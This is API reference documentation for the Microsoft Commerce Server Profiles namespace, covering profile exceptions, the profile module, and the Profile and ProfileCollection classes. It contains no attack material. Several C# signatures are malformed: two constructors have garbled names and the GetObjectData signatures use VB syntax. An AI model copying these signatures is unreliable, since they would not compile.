Specialized Profiling System exception for a profile object that already exists.

Public Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor | Creates a new instance of the CommerceProfileAlreadyExistsException class.
CommerceProfileAlreadyExistsException Constructor(String) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message.
CommerceProfileAlreadyExistsException Constructor(String, Exception) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Remarks

This class is derived from the CommerceProfileSystemException class.

This exception will be thrown by the various forms of the ProfileContext.CreateProfile method when an attempt is made to create a profile with an identical primary key value of an already existing profile instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor | Creates a new instance of the CommerceProfileAlreadyExistsException class.
CommerceProfileAlreadyExistsException Constructor(String) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message.
CommerceProfileAlreadyExistsException Constructor(String, Exception) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.


CommerceProfileAlreadyExistsException Constructor (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileAlreadyExistsException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceProfileAlreadyExistsException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceProfileAlreadyExistsException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A string containing the message to include in the CommerceProfileAlreadyExistsException object.
[C#]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceProfileAlreadyExistsSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceProfileAlreadyExistsException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceProfileModule Class (BCL)

This CommerceModule is responsible for initializing the Profiling System and creating a default ProfileContext class instance for the site. It also can create an expose an instance of the Commerce Server OLEDB provider that can be used for bulk profile operations.

Public Instance Constructor

Constructor | Description
CommerceProfileModule Constructor | Creates a new instance of the CommerceProfileModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the ProfileSystem property of the current CommerceContext instance equal to the default ProfileContext instance created during initialization of the module.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ProfileContext | Gets the default ProfileContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileModule Constructor | Creates a new instance of the CommerceProfileModule class.


CommerceProfileModule Constructor (BCL)

Creates a new instance of the CommerceProfileModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the ProfileSystem property of the current CommerceContext instance equal to the default ProfileContext instance created during initialization of the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceProfileModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

This module does not subscribe to any application events.

Throws a CommerceResourceDependencyException if the associated Commerce resource of a known cache type could not be found.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ProfileContext | Gets the default ProfileContext instance created by the module.


CommerceProfileModule.ProfileContext Property (BCL)

The ProfileContext property gets the default ProfileContext instance created by the module.

Definition

[Visual Basic .NET]
Public Property ProfileContext As ProfileContext
[C#]
public ProfileContext ProfileContext {get; set;}

Property Value

The ProfileContext object.

Remarks

The value will be null if the CommerceProfileModule was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.ProfileSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Class (BCL)

The base class for exceptions thrown from the Profiling System.

Public Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor | Creates a new instance of the CommerceProfileSystemException class.
CommerceProfileSystemException Constructor(String) | Creates a new instance of the CommerceProfileSystemException class with the specified string message.
CommerceProfileSystemException Constructor(String, Exception) | Creates a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString | Creates and returns a string representation of the current exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor | Creates a new instance of the CommerceProfileSystemException class.
CommerceProfileSystemException Constructor(String) | Creates a new instance of the CommerceProfileSystemException class with the specified string message.
CommerceProfileSystemException Constructor(String, Exception) | Creates a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.


CommerceProfileSystemException Constructor (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileSystemException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dllMicrosoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceProfileSystemException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceProfileSystemException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
[C#]
message
A System.String containing the message to include in the CommerceProfileSystemException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceProfileSystemSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString | Creates and returns a string representation of the current exception.


CommerceProfileSystemException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException.ToString Method (BCL)

Creates and returns a string representation of the current exception.

Definition

[Visual Basic .NET]
Overrides Public Function ToString( _
) As System.String
[C#]
public override System.String ToString(
);

Return Value

A string representation of the current exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


Profile Class (BCL)

Creates an abstraction for the profile object Primary Interop Assembly (PIA) type.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetXml(ProfileXmlRetrieve, ProfileXmlFormat) | Retrieves the XML representation for this profile object in the specified format.
Refresh | Reloads the object from the underlying stores.
Update | Persists the state of the object to the underlying stores.
Update(String, ProfileXmlFormat) | Updates the profile object with the property values specified in the xmlData parameter.

Public Instance Properties

Property | Description
Item(String) | Retrieves ProfileProperty instance by name.
Properties | Retrieves the property collection on this profile object.
PropertyGroups | Retrieves the property groups collection on this profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetXml(ProfileXmlRetrieve, ProfileXmlFormat) | Retrieves the XML representation for this profile object in the specified format.
Refresh | Reloads the object from the underlying stores.
Update | Persists the state of the object to the underlying stores.
Update(String, ProfileXmlFormat) | Updates the profile object with the property values specified in the xmlData parameter.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Profile.GetXml (ProfileXmlRetrieve, ProfileXmlFormat) Method (BCL)

Use this method to retrieve the XML representation for this profile object in the specified format.

Definition

[Visual Basic .NET]
Public Function GetXml( _
  ByVal xmlRetrieve As ProfileXmlRetrieve, _
  ByVal xmlFormat As ProfileXmlFormat _
) As System.String
[C#]
public System.String GetXml(
  ProfileXmlRetrieve xmlRetrieve,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
xmlRetrieve
The ProfileXmlRetrieve object.
xmlFormat
The ProfileXmlFormat object.
[C#]
xmlRetrieve
The ProfileXmlRetrieve object.
xmlFormat
The ProfileXmlFormat object.

Return Value

A System.String object containing the XML data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Profile.Refresh Method (BCL)

Use this method to reload the object from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Refresh( _
)
[C#]
public void Refresh(
);

Remarks

This method wraps the IProfileObject::GetInfo method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Update Method (BCL)

Use this method to persist the state of the object to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Update( _
)
[C#]
public void Update(
);

Remarks

This method wraps the IProfileObject::Update method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Update (String, ProfileXmlFormat) Method (BCL)

Use this method to update the profile object with the property values specified in the xmlData parameter.

Definition

[Visual Basic .NET]
Public Sub Update( _
  ByVal xmlData As System.String, _
  ByVal xmlFormat As ProfileXmlFormat _
)
[C#]
public void Update(
  System.String xmlData,
  ProfileXmlFormat xmlFormat
);

Parameters

[Visual Basic .NET]
xmlData
The XML string containing the updated property values.
xmlFormat
ProfileXmlFormat class determining whether in element centric or attribute centric format.
[C#]
xmlData
The XML string containing the updated property values.
xmlFormat
ProfileXmlFormat class determining whether in element centric or attribute centric format.

Remarks

Use the Update() method to commit the property changes made by the Update(String, ProfileXMLFormat) method to the data store.

If the Update method is called on a new profile object created using the CreateProfile method and the profile already exists in the profile store, then a CommerceProfileAlreadyExists exception is raised.

In case of other errors, this method raises a CommerceProfileSystemException exception that wraps an inner COMException. The Message and ErrorCode properties of the inner COMException contain details on the specific error that occurred.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Properties | Retrieves the property collection on this profile object.
PropertyGroups | Retrieves the property groups collection on this profile object.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Item Property (BCL)

The Item property retrieves the ProfileProperty instance by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
A System.String containing the name of the property.
[C#]
propertyName
A System.String containing the name of the property.

Property Value

The ProfileProperty object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.Properties Property (BCL)

The Properties property retrieves the property collection on this profile object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public virtual ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Implements

Microsoft.CommerceServer.Runtime.Profiles.IProfile

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


Profile.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the property groups collection on this profile object.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public virtual ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Implements

Microsoft.CommerceServer.Runtime.Profiles.IProfile

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileCollection Class (BCL)

Creates an abstraction for the profile properties collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the Profile collection by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit Icollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyCollection.CopyTo (Array, Int32) Method (BCL)

Explicit Icollection.CopyTo implementation. This method copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy data to.
index
The count of elements to copy.
[C#]
array
The array to copy data to.
index
The count of elements to copy.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.Collections.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the Profile collection by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.


ProfileCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

A System.Int32 indicating the number of caches.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.Item(Int32) Property (BCL)

The Item property is an indexer to allow for accessing the Profile collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As Profile
[C#]
public Profile Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
Integer signifying the index value.
[C#]
index
Integer signifying the index value.

Property Value

An Integer that serves as the index to the Profile collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileCollection.SyncRoot Property (BCL)

Use the SyncRoot property to retrieve the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

